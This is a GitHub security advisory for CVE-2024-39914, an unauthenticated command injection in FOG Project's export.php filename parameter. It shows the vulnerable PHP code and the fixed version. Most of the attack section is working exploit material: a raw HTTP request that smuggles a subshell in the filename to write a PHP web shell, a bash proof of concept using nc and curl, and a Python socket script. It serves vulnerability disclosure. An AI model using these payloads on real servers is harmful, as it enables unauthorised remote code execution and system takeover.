Skip to content

Command injection in /fog/management/export.php?filename=

Critical
mastacontrola published GHSA-7h44-6vq6-cq8j Jul 12, 2024

Package

packages/web/lib/fog/reportmaker.class.php (php class)

Affected versions

< 1.5.10.33

Patched versions

1.5.10.34

Description

Hey guys this is just an extract I took from a report I wrote

Here the full report

This is not a png is pdf but I could not upload otherwise my bad

Please, if it's broken somehow send me an email to [email protected] and I'll send the original file.

rename_me_to_pdf_please

you could download with something like this I guess

wget 'https://github-production-user-asset-6210df.s3.amazonaws.com/154050956/344248567-559465c5-4611-49df-aeb7-90d6e1f97a99.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20240628%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240628T164739Z&X-Amz-Expires=300&X-Amz-Signature=f1439a777e93e4b4c2adfb1a9bc8d5367b534f347052700c971b07662c6983bb&X-Amz-SignedHeaders=host&actor_id=154050956&key_id=0&repo_id=18811064' -O output.pdf

So you can see bellow if we try to export a pdf while setting nojson to 2, then it will call passthru($cmd) method and run htmldoc on shell directly on the underlying system as user www-data without parsing the file name!

Which means! We got a command injection vulnerability in the file name parameter!

    public function outputReport($intType = 0, $nojson = false)
[..]
            case 2:
                $filename = $this->_filename;
                $htmlfile = sprintf(
                    '%s.html',
                    $filename
                );
                $html = sprintf(
                    '<html><body>%s</body></html>',
                    implode((array)$this->_strHTML)
                );
                $logoimage = trim(
                    self::getSetting('FOG_CLIENT_BANNER_IMAGE')
                );
                if ($logoimage) {
                    $logoimage = sprintf(
                        '--logoimage %s',
                        escapeshellarg(
                            sprintf(
                                'http%s://%s/fog/management/other/%s',
                                (
                                    filter_input(INPUT_SERVER, 'HTTPS') ?
                                    's' :
                                    ''
                                ),
                                filter_input(INPUT_SERVER, 'HTTP_HOST'),
                                $logoimage
                            )
                        )
                    );
                }
                $cmd = array(
                    'htmldoc',
                    '--webpage',
                    '--quiet',
                    '--gray',
                    $logoimage,
                    '--header l',
                    '--footer D1/1',
                    '--size letter',
                    '-t pdf14',
                    '--no-compression',
                    $htmlfile
                );
                $cmd = implode(' ', (array)$cmd);
         [...]
                passthru($cmd);
	[..]

I first tested this by trying a simple curl command
rce

At this point I was confident I had found an Unauthenticated Command Injection vulnerability. And leveraging this to create a webshell did not take long!

Have a look at this!
victory

As you probably noticed, instead of a normal file name we are creating a file that looks like a sub-shell! The cool part is that it allows for things like > and $() but using / is a big no no.

The class will create the file but when it executes html docs it will instead run our sub-shell first and then exit with an error saying that it found no html file!

Here it is a strip down version of what a malicious post request should look like.

POST /fog/management/export.php?filename=$(echo+'<?php+echo+shell_exec($_GET['"'cmd'"']);+?>'+>+lol.php)&type=pdf HTTP/1.1  
Host: 192.168.15.5 
Content-Length: 21  
User-Agent: ToxicPotato  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
  
fogguiuser=fog&nojson=2

Here another example that help's visualize it!
new_exploit

  • poc.sh
#!/bin/bash  
  
RHOST=$1  
WEBSHELL="${RANDOM}.php"  
  
sed "s,RHOST,$RHOST,g" http.txt > payload.txt  
sed "s,WEBSHELL,${WEBSHELL},g" payload.txt -i  
nc $RHOST 80 < payload.txt &> /dev/null  
  
echo -e "Done! Run shell commands at:\nhttp://${RHOST}/fog/management/${WEBSHELL}"'?cmd=id'  
echo  
echo Output:  
curl -X GET "http://${RHOST}/fog/management/${WEBSHELL}"'?cmd=id'  
rm -f payload.txt 2> /dev/nul
  • http.txt
POST /fog/management/export.php?filename=$(echo+'<?php+echo+shell_exec($_GET['"'cmd'"']);+?>'+>+WEBSHELL)&type=pdf HTTP/1.1  
Host: RHOST  
Content-Length: 21  
User-Agent: ToxicPotato  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
  
fogguiuser=fog&nojson=2b

The cool thing about templating is that is a lot easier to read what is going on! The ugly side is that if we get the encoding for http.txt wrong it will not work as the http protocol expects something like /r/n at the end of each line!

So we are not done yet. Let's make something slightly cleaner.

Again, I promise cleaner not clean! Also, don't ask me why I did not used the requests library! I'm naturally weird!

#!/usr/bin/env python3
import socket
import sys

rhost = '192.168.15.5'
rport = 80
webshell = 'darek.php' #lol

payload = f"""POST /fog/management/export.php?filename=$(echo+'<?php+echo+shell_exec($_GET['"'cmd'"']);+?>'+>+{webshell})&type=pdf HTTP/1.1\r\nHost: {rhost}\r\nContent-Length: 21\r\nUser-Agent: ToxicPotato\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n\r\nfogguiuser=fog&nojson=2"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    try:
        sock.connect((rhost, rport))
    except:
        print(f'Could not reach {rhost}')
        sys.exit(1)
    sock.sendall(payload.encode())
    data = sock.recv(1024)
    print(data.decode())

darek

it works
wow

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2024-39914

Weaknesses

Credits